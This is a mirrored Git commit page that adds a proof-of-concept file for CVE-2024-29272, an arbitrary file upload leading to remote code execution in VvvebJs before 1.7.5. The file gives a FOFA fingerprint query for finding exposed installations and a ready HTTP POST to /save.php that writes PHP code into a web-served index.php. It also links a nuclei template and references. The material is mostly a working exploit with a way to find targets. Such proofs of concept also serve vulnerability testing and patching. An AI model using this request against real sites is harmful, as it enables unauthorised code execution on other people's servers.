admin/wy876_POC
1
0
Fork 0
mirror of https://github.com/wy876/POC.git synced 2025-02-27 04:39:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

Add files via upload

Browse Source
This commit is contained in:
Halil 2024-08-26 13:53:44 +03:00 committed by GitHub
parent 8aba209f09
commit 789a1566a0
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 20 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

20
VvvebJs/VvvebJs Arbitrary File Upload - RCE (CVE-2024-29272).md Normal file
View File

@ -0,0 +1,20 @@
## VvvebJs < 1.7.5 Arbitrary File Upload - RCE (CVE-2024-29272)
## fofa
```
icon_hash="524332373"
```
## poc
```
POST /save.php HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
file=demo%2Flanding%2Findex.php&html=<?php%20phpinfo();%20?>
```
## nuclei Template
https://github.com/projectdiscovery/nuclei-templates/pull/10608/files
## ref
https://github.com/givanz/VvvebJs/issues/343
https://github.com/awjkjflkwlekfdjs/CVE-2024-29272/tree/main